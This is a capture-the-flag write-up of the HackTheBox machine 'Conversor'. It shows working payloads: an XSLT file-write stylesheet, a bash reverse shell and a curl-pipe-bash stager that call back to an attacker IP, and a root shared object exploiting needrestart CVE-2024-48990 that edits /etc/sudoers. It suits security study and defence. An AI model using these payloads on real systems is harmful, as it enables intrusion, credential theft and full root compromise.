Pentest Notes – Conversor Attack Chain

Date: 2025-12-16
Box: HTB — Conversor (Pentest Study Note)

Conversor – XSLT Processing to Root (Cron RCE + needrestart Privesc)

Key idea: user-controlled XSLT is executed server-side (lxml/libxslt). This enables an attacker-controlled file write primitive that becomes immediate RCE because a cron job executes /var/www/conversor.htb/scripts/*.py as www-data. Post-foothold, application DB leaks MD5 password hashes and enables a credential pivot to SSH. Final privilege escalation is achieved via sudo NOPASSWD access to needrestart v3.7, abused through PYTHONPATH hijacking (CVE-2024-48990).
Flask XSLT EXSLT Arbitrary File Write Cron RCE SQLite MD5 Credential Pivot sudo needrestart CVE-2024-48990 Root

0. Summary

The full chain, step by step:

  1. Enumerate web app and identify XML + XSLT conversion feature
  2. Review server-side conversion flow: etree.XSLT() executes user-supplied XSLT
  3. Achieve a file-write primitive via XSLT processing (EXSLT multi-output behavior / environment dependent)
  4. Leverage server cron job that executes /var/www/conversor.htb/scripts/*.py as www-data
  5. Obtain initial shell as www-data
  6. Read application DB (SQLite) to extract MD5 password hashes
  7. Offline recovery of credentials → SSH access as a local user
  8. sudo -l reveals NOPASSWD execution of /usr/sbin/needrestart
  9. Confirm vulnerable version (needrestart v3.7) and apply PYTHONPATH hijacking (CVE-2024-48990)
  10. Root shell obtained
Theme:This box is a “trust boundary failure chain”: user-controlled transform logic (XSLT) + unsafe automation (cron) + unsafe sudo tooling (needrestart).

1. Initial Recon

1-1. Port scan

nmap -sC -sV -p- 10.10.11.92

1-2. Web entrypoints observed

  • /login, /register
  • /convert (XML + XSLT upload)
  • /view/<file_id> (result viewer)

2. Source Review – Why XSLT is the Real Boundary

2-1. Critical server-side execution point

The application parses attacker-supplied XSLT and executes it via lxml:

xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
Key insight
XML parser hardening helps against XXE-style issues, but it does not sandbox XSLT execution. XSLT is executable logic and can expose filesystem primitives depending on the XSLT engine configuration.

2-2. Common pitfall: Markdown in XML namespaces

While building test transforms, an error occurred due to mistakenly pasting Markdown-style links into xmlns::

Error: xmlns:xsl: '[http://www.w3.org/1999/XSL/Transform](http://www.w3.org/1999/XSL/Transform)' is not a valid URI

Fix: namespace URIs must be plain URIs (no brackets/parentheses).


3. Server Automation – Cron Executes scripts/*.py

3-1. Deployment notes revealed cron behavior

The shipped deployment documentation describes a periodic cleanup job pattern and includes an example cron line that executes all Python scripts under /var/www/conversor.htb/scripts as www-data.

3-2. Confirm cron configuration on target

cat /etc/crontab

Observed behavior: periodic execution of:

* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
Security impact
Any attacker-controlled file write into /var/www/conversor.htb/scripts/ becomes “hands-free” code execution within one minute.

4. Foothold – www-data Shell via XSLT → File Write → Cron RCE

This stage chains three small, individually simple components into reliable code execution: a reverse shell payload, a Python stager written to disk, and a malicious XSLT transform that abuses server-side XSLT execution to perform an arbitrary file write.

Execution model
XSLT is executed immediately during XML transformation, but the payload itself is not. Instead, XSLT is used to persist a Python script into a directory that is periodically executed by cron, turning a file-write primitive into delayed RCE.

4-1. Payload Overview

Payload Purpose
shell.sh Final reverse shell executed on the victim
shell.py Python stager executed by cron, responsible for fetching and running shell.sh
shell.xslt Malicious XSLT used to write shell.py onto the victim filesystem

4-2. Payload 1 – Reverse Shell (shell.sh)

The final shell payload is a minimal Bash reverse shell. This file is hosted on the attacker machine and never uploaded directly through the web application.

# Attacker machine
echo '#!/bin/bash' > shell.sh
echo 'bash -i >& /dev/tcp/10.10.14.81/9001 0>&1' >> shell.sh
  • 10.10.14.81: attacker IP
  • 9001: listener port
Why this design?
Keeping the reverse shell separate allows the on-target payload to stay extremely small and avoids embedding noisy shell logic directly into the XSLT output.

4-3. Payload 2 – Cron-Executed Python Stager (shell.py)

The cron job on the target periodically executes every Python script under /var/www/conversor.htb/scripts/. The stager’s only responsibility is to download and execute shell.sh.

import os
os.system("curl 10.10.14.81:8000/shell.sh | bash")
  • 10.10.14.81:8000: attacker-controlled Python HTTP server
  • | bash: directly pipes the downloaded script into Bash
Security implication
Any writable file placed in a cron-executed directory becomes code execution without further interaction. Cron effectively removes the need for a synchronous exploit trigger.

4-4. Payload 3 – XSLT File-Write Exploit (shell.xslt)

The final piece is the malicious XSLT file uploaded through the conversion feature. When processed server-side, it uses EXSLT multi-output functionality to write shell.py directly into the cron directory.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">

    <xsl:template match="/">
        <shell:document
            href="/var/www/conversor.htb/scripts/shell.py"
            method="text">
import os
os.system("curl 10.10.14.81:8000/shell.sh | bash")
        </shell:document>
    </xsl:template>

</xsl:stylesheet>
Key insight
The exploit does not rely on command execution inside XSLT itself. Instead, it abuses XSLT as a filesystem write primitive, which is far more flexible and pairs dangerously well with unsafe automation like cron.

4-5. Execution Result

Once the XSLT transform is processed and the file is written, cron executes the Python stager within one minute, resulting in a reverse shell as www-data.

whoami
id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Summary
XSLT → file write → cron execution creates a clean, deterministic initial foothold without race conditions or fragile timing assumptions.

5. Post-Exploitation – Application Database (SQLite)

5-1. Locate DB

cd /var/www/conversor.htb/instance
ls -la
users.db

5-2. Inspect schema and users

sqlite3 users.db
.tables
.schema users
SELECT * FROM users;

Observed user records (example):

1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|asdf|135e60050cd04546bcec868aefe00570
6|asdfasdf|6a204bd89f3c8348afd5c77c717a097a
Observation
The password column is a 32-hex digest, consistent with the application’s hashlib.md5(...).hexdigest() usage.

6. Credential Pivot – Web Hashes → SSH User

Offline password recovery succeeded (hash cracking / password reuse theme). The recovered credentials were then used to access the system user via SSH.

6-1. SSH access

ssh <user>@10.10.11.92

7. Privilege Escalation Discovery – sudo needrestart

7-1. Sudo permissions

sudo -l
User f****** may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
Vector
A root-executed binary is available without a password. If it can be coerced into loading attacker-controlled code, this becomes a direct privesc path.

7-2. Version check

/usr/sbin/needrestart -v
[main] needrestart v3.7

8. Privilege Escalation – needrestart v3.7 via PYTHONPATH Hijacking (CVE-2024-48990)

The final escalation leverages unsafe module loading behavior in needrestart v3.7. Because the binary is executed as root via sudo and inspects running Python processes, it can be coerced into importing attacker-controlled modules through a hijacked PYTHONPATH.

Core weakness
A privileged diagnostic tool imports Python modules while trusting user-controlled environment variables. When combined with sudo NOPASSWD, this becomes a deterministic root code execution path.

8-1. Exploit Architecture

Component Role
__init__.so Malicious native Python module executed automatically on import
lib.c C source for the shared object payload
runner.sh Sets up the PYTHONPATH hijack and launches a bait Python process
e.py Long-running bait process scanned by needrestart

8-2. Payload 1 – Root-Level Shared Object (__init__.so)

The primary payload is a native shared object compiled as __init__.so. Because it is named as a Python package initializer, it executes immediately when imported.

A GCC constructor attribute ensures the payload runs automatically on load, before any Python-level logic.

/* lib.c - malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if (geteuid() == 0) {
        setuid(0);
        setgid(0);

        const char *shell =
            "cp /bin/sh /tmp/poc; "
            "chmod u+s /tmp/poc; "
            "grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
            "echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
        system(shell);
    }
}
Why native code?
Native modules execute immediately upon import and bypass most Python-level safety checks. In a root context, this guarantees execution before needrestart regains control.

8-3. Payload Compilation

The target system is x86_64 Linux. The payload is compiled as a position-independent shared object suitable for Python imports.

# Attacker machine
gcc -shared -fPIC -o __init__.so lib.c
  • -shared: builds a shared object
  • -fPIC: required for runtime loading
  • __init__.so: forces execution during Python package import

8-4. Payload 2 – Hijack & Trigger Script (runner.sh)

The trigger script prepares a malicious Python module hierarchy, downloads the compiled payload, and launches a long-running Python process with a hijacked PYTHONPATH.

#!/bin/bash
set -e
cd /tmp

mkdir -p malicious/importlib

curl http://10.10.14.81:8000/__init__.so \
  -o /tmp/malicious/importlib/__init__.so

A bait script is then launched to keep a Python process alive for needrestart to inspect:

import time
import os

while True:
    try:
        import importlib
    except:
        pass

    if os.path.exists("/tmp/poc"):
        os.system("sudo /tmp/poc -p")
        break
    time.sleep(1)

The script is executed with a controlled module search path:

PYTHONPATH="$PWD" python3 e.py
Key trick
The attacker does not invoke needrestart from this process. Instead, the process simply waits to be discovered by a root-run scan.

8-5. Triggering the Vulnerability

In a separate terminal, needrestart is executed via sudo:

sudo /usr/sbin/needrestart

During its scan, needrestart inspects the running Python process, inherits its environment, and imports Python modules using the attacker-supplied PYTHONPATH.

This causes the malicious __init__.so to be loaded as root, immediately executing the constructor payload.


9. Root Verification

9-1. Confirm privilege

whoami
id
root
uid=0(root) gid=0(root) groups=0(root)

10. Security Takeaways

Weakness Impact in This Chain
User-controlled XSLT execution XSLT is executable logic; unsafe execution can expose filesystem and code execution primitives
Insecure automation (cron executes writable scripts) Turns a file write primitive into scheduled RCE
Weak password hashing (MD5) Hash recovery enables credential pivoting and reuse detection
Sudo NOPASSWD on diagnostic tool Expands blast radius; environment/module loading bugs become instant root
Environment/module loading trust (PYTHONPATH) Root process importing attacker-controlled code is game over

11. Key Takeaways

  • XSLT is not “just a template”. Treat it like code execution unless sandboxed.
  • Never let cron execute from web-writable directories. That’s RCE as a service.
  • MD5 is not acceptable for passwords. Use bcrypt/argon2 with per-user salt.
  • Be extremely careful with NOPASSWD sudo rules. Especially for tools that inspect or load code.
  • Privileged tools must sanitize environment variables. Don’t trust PYTHONPATH/LD_* variables in root context.

Overall: multiple “small” misconfigurations aligned into a clean, deterministic full compromise.